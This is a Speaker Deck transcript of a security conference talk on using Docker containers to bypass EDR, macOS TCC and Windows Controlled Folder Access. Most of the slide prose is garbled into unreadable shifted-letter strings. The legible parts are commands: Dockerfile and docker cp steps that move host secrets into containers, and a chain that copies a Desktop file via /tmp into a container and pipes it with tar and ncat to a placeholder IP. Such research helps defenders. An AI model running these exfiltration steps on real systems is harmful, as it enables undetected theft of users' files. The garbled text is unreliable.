Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Bring Your Own Container: When Containers Turn ...

@tkmru
January 15, 2025

Bring Your Own Container: When Containers Turn the Key to EDR Bypass/byoc-avtokyo2024

@tkmru

January 15, 2025
Tweet

More Decks by @tkmru

Other Decks in Technology

Transcript

  1. "UUBDLTDFOBSJP w -B[BSVT(SPVQUBSHFUFEB4QBOJTIBFSPTQBDFDPNQBOZ w "UUBDLFSTEJTHVJTFENBMXBSFBTBMFHJUJNBUFDPEJOHUFTU w &NQMPZFFTXFSFMVSFE VTJOHDPEJOHUFTU w 4PDJBMFOHJOFFSJOHUFDIOJRVFT

    BJNFEBUKPCTFFLFST 6OUJMUIFNBMXBSFJTFYFDVUFE IUUQTXXXXFMJWFTFDVSJUZDPNFOFTFUSFTFBSDIMB[BSVTMVSJOHFNQMPZFFTUSPKBOJ[FEDPEJOHDIBMMFOHFTDBTFTQBOJTIBFSPTQBDFDPNQBOZ
  2. .BJO$BUFHPSJFTPG&%3#ZQBTT w "WPJEJOHUIF&%3 w 1SPYZJOHUSB ff i D FUD w

    #MFOEJOHJOUPUIFFOWJSPONFOU w -FWFSBHFBQQXJUIMFHJUJNBUF TJHOJOH FUD  w 5IF&%3UBNQFSJOH w 1BUDIJOHUIFNFNPSZPGUIF&%3 QSPDFTT FUD w 0QFSBUJOHJOCMJOETQPUT w &YQMPJUJOHMBDLPGWJTJCJMJUZ 5IFDPNCJOBUJPOPGUFDIOJRVFTJOWBSJPVTDBUFHPSJFT NBLFTCZQBTTJOHQPTTJCMF IUUQTHJUIVCDPNOBLTZOUBMLTCMPCNBJO%&'$0/%JFHP$BQSJPUUJ %&'$0/"EWFSTBSZ7JMMBHF1ZUIPOWT.PEFSO%FGFOTFTQEG
  3. -FWFSBHFUIF8JOEPXT'JMUFSJOH1MBUGPSN w 5IF8'1JTBQPXFSGVMGSBNFXPSLCVJMUJOUP8JOEPXTGPSDSFBUJOH OFUXPSL fi MUFSJOHBOETFDVSJUZBQQMJDBUJPOT w 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BJOFSTQBDLBHFBQQMJDBUJPOTXJUIBMMOFDFTTBSZEFQFOEFODJFT  FOTVSJOHDPOTJTUFODZBDSPTTEJ

    ff FSFOUTZTUFNT w $POUBJOFSTBMMPXUIFEFWFMPQNFOUFOWJSPONFOUUPCFUIFTBNFGPS EJ ff FSFOU04VTFSTBOEUPEFWFMPQJOUIFTBNFFOWJSPONFOUBTUIF QSPEVDUJPOFOWJSPONFOU w $POUBJOFSTQSPWJEFJTPMBUJPO CVUBMTPCZQBTT&%3NPOJUPSJOH 
  10. w $SFBUJOHBDPOUBJOFSUIBUDPOUBJOTUIFIPTUEBUB w %PDLFS fi MF w 4IFMM  4UFQ)PXUPCSJOHEBUBJOUPUIFDPOUBJOFS

    #SJOH:PVS0XO$POUBJOFS #:0$ FROM ubuntu:latest COPY ./secret /lib/modules/ RUN apt update && apt install -y ncat CMD ["/bin/bash"] $ docker build -t byoc-poc . $ docker run --rm -it byoc-poc /bin/bash
  11. w &YJTUJOHDPOUBJOFSTDBOCFMFWFSBHFEPOUIFDPNQSPNJTFEFOEQPJOU w $PQZMPDBM fi MFTJOUPBDPOUBJOFSUPBOFYJTUJOHDPOUBJOFS w 4IFMM  4UFQ)PXUPCSJOHEBUBJOUPUIFDPOUBJOFS

    #SJOH:PVS0XO$POUBJOFS #:0$ $ docker cp secret.txt <Container ID>:/lib/modules/ Successfully copied 2.05kB to <Container ID>:/lib/modules/ $ docker exec -it <Container ID> /bin/bash
  12. $POT😭 w 6OBCMFUPGSFFMZNBOJQVMBUFUIFIPTUPOXIJDIUIFDPOUBJOFSJT SVOOJOH w 0OMZ fi MFTCSPVHIUJOUPUIFDPOUBJOFSDBOCFDPOUSPMMFE w %J

    ffi DVMUUPEPGSPNJOTUBMMJOH%PDLFS CFDBVTFJUSFRVJSFTIJHIQSJWJMFHFTUPJOTUBMM%PDLFS  #SJOH:PVS0XO$POUBJOFS #:0$
  13. 5$$ w 5$$ 5SBOTQBSFODZ $POTFOU BOE$POUSPM  w 4FDVSJUZQSPUPDPMGPDVTJOHPOSFHVMBUJOHNBD04BQQQFSNJTTJPOT w

    8IFONBD04BQQBDDFTTFTBEJSFDUPSZ GPSUIF fi STUUJNF NBD04SFRVFTUTQFSNJTTJPO CZQSPNQU #SJOH:PVS0XO$POUBJOFSWTNBD04 
  14. 5$$😭 w "QSPNQUGPSQFSNJTTJPOBQQFBSTBOE UIFVTFSCFDPNFTBXBSFPGUIFBUUBDL w *GUIFVTFSEPFTOPUHJWFQFSNJTTJPO  UIFFSSPSNFTTBHFloperation not permittedzBQQFBST

    #SJOH:PVS0XO$POUBJOFSWTNBD04  $ docker run --rm -v ~/Downloads:/lib/modules -it ubuntu /bin/bash docker: Error response from daemon: error while creating mount source path '/host_mnt/Users/taichi.kotake/Downloads': mkdir / host_mnt/Users/taichi.kotake/Downloads: operation not permitted.
  15. 5$$#MJOE4QPU w .BOZEJSFDUPSJFTOPUQSPUFDUFECZ5$$ w 5IFTFEJSFDUPSJFTDBOCFBDDFTTFEGSPN%PDLFSBQQ w UNQ w 6TFSDSFBUFEGPMEFST w

    EPUGPMEFST dBXT dTTI  w %FWFMPQNFOUGPMEFST dEFW dDPEF #SJOH:PVS0XO$POUBJOFSWTNBD04 
  16. 5$$#ZQBTT w #VU XBOUUPPQFSBUF fi MFTJOEJSFDUPSJFTQSPUFDUFECZ5$$ w +VTUDPQZ fi MFTGSPNBEJSFDUPSZJTNPOJUPSFECZ5$$CVUBMMPXFE

    BDDFTTGSPNUIF5FSNJOBMBQQUPBOVONPOJUPSFEEJSFDUPSZMJLFUNQ #SJOH:PVS0XO$POUBJOFSWTNBD04  UNQ %PDLFSBQQ d%FTLUPQ d%PDVNFOUT d%PXOMPBET FUD 1SPUFDUFEEJSCZ5$$ 6ONPOJUPSFEEJS CZ5$$ $PQZ fi MFT
  17. 5$$#ZQBTT w 4UFQ%JSFDUPSJFTUIBUBSFBMMPXFEUPCFBDDFTTFEGSPN5FSNJOBMBQQ DBOCFGPVOEJOUIFTIFMMIJTUPSZ w 4UFQ$PQZ fi MFTGSPNUIFGPVOEEJSFDUPSZUPUNQ w 4UFQ1VU

    fi MFTJOUNQJOUPUIFDPOUBJOFSBOEGSFFMZPQFSBUF fi MFT #SJOH:PVS0XO$POUBJOFSWTNBD04 $ history # Check the list of dir accessible from Terminal.app $ cp ~/Desktop/secret.png /tmp/ $ docker run --rm -v /tmp:/lib/modules -it ubuntu /bin/bash # tar cf - /lib/modules/ | ncat XX.XX.XX.XX 3333 
  18. -JOVYPGUFOSFRVJSFTTVEP w 0GUFOOPUDPO fi HVSFEUPBMMPXHFOFSBMVTFSTUPSVOEPDLFS    w 3PPUQSJWJMFHFTBSFSFRVJSFEUPJOTUBMM%PDLFS

     $ docker ps permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http:// %2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix / var/run/docker.sock: connect: permission denied #SJOH:PVS0XO$POUBJOFSWT-JOVY
  19. %PDLFS%FTLUPQ%JBMPH#ZQBTT w $PQZJOH fi MFTUPUIFDPOUBJOFSEPFTOPUUSJHHFSBEJBMPH w /FFEUPDSFBUFBDPOUBJOFS fi STUPSVTFBOFYJTUJOHDPOUBJOFS 

    #SJOH:PVS0XO$POUBJOFSWT8JOEPXT $ docker run -d -p 8080:80 nginx # Daemonized to prevent termination $ docker cp C:\Users\taichi.kotake\Downloads\secret.txt <container ID>:/lib/modules
  20. $POUSPMMFEGPMEFSBDDFTT🤔 w $POUSPMMFEGPMEFSBDDFTTJTP ff  CZEFGBVMU w )FMQZPVQSPUFDU WBMVBCMFEBUBGSPNNBMXBSF w

    *ODMVEFEXJUI8JOEPXT  BOE8JOEPXT4FSWFS  #SJOH:PVS0XO$POUBJOFSWT8JOEPXT IUUQTMFBSONJDSPTPGUDPNFOVTEFGFOEFSFOEQPJOUFOBCMFDPOUSPMMFEGPMEFST > Set-MpPreference -EnableControlledFolderAccess Enabled
  21. $POUSPMMFEGPMEFSBDDFTT🤔 w "OPUJ fi DBUJPOBQQFBSTPO1$XIFSFBOBQQBUUFNQUFEUPNBLF DIBOHFTUPB fi MFJOBQSPUFDUFEGPMEFS w &Y8SJUJOHB

    fi MFGSPN1PXFS4IFMM w :PVDBODVTUPNJ[FUIFOPUJ fi DBUJPOXJUIZPVSDPNQBOZEFUBJMTBOE DPOUBDUJOGPSNBUJPO  #SJOH:PVS0XO$POUBJOFSWT8JOEPXT IUUQTMFBSONJDSPTPGUDPNFOVTEFGFOEFSFOEQPJOUDPOUSPMMFEGPMEFST
  22. w $a6TFSTaVTFSOBNFa%PDVNFOUT w $a6TFSTaVTFSOBNFa'BWPSJUFT w $a6TFSTaVTFSOBNFa.VTJD w $a6TFSTaVTFSOBNFa1JDUVSFT w $a6TFSTaVTFSOBNFa7JEFPT

     #SJOH:PVS0XO$POUBJOFSWT8JOEPXT IUUQTMFBSONJDSPTPGUDPNFOVTEFGFOEFSFOEQPJOUDPOUSPMMFEGPMEFST w $a6TFSTa1VCMJDa%PDVNFOUT w $a6TFSTa1VCMJDa.VTJD w $a6TFSTa1VCMJDa1JDUVSFT w $a6TFSTa1VCMJDa7JEFPT 5IF8JOEPXTTZTUFNTGPMEFSTUIBUBSFQSPUFDUFECZEFGBVMUBSF $POUSPMMFEGPMEFSBDDFTT🤔
  23. w #VUOPSFTUSJDUJPOTPOQFSEJSFDUPSZBDDFTTGSPN%PDLFS$POUBJOFST w .BZCFCFDBVTF%PDLFSJTBUSVTUFEBQQMJDBUJPOCZ8JOEPXT w #ZDPQZJOHUIF fi MFTUPUIFDPOUBJOFS UIF%PDLFSEJBMPHEPFTOPU BQQFBSBOE$POUSPMMFEGPMEFSBDDFTTJTOPUUSJHHFSFE

      #SJOH:PVS0XO$POUBJOFSWT8JOEPXT $POUSPMMFEGPMEFSBDDFTT😊 $ docker run -d -p 8080:80 nginx # Daemonized to prevent termination $ docker cp C:\Users\taichi.kotake\Downloads\secret.txt <container ID>:/lib/modules
  24. "QQFOEJY w *GUIFIPTUDPNQVUFSJTTIVUEPXOPSSFTUBSUFE UIFUSBDFTJO8JOEPXT 4BOECPYXJMMCFEFMFUFE NBLJOHJUEJ ffi DVMUUPJOWFTUJHBUFUIFBSUJGBDUT w 5IJTNFUIPEJTUIPVHIUUPIBWFCFFOVTFECZB"15HSPVQDBMMFE

    l.JSSPS'BDFz BLB l&BSUI,BTIBz XIJDIJTTVTQFDUFEPGCFJOH JOWPMWFEJOBUUBDLTCZ$IJOBTJODFBUMFBTU+VOF #SJOH:PVS0XO8JOEPXT4BOECPY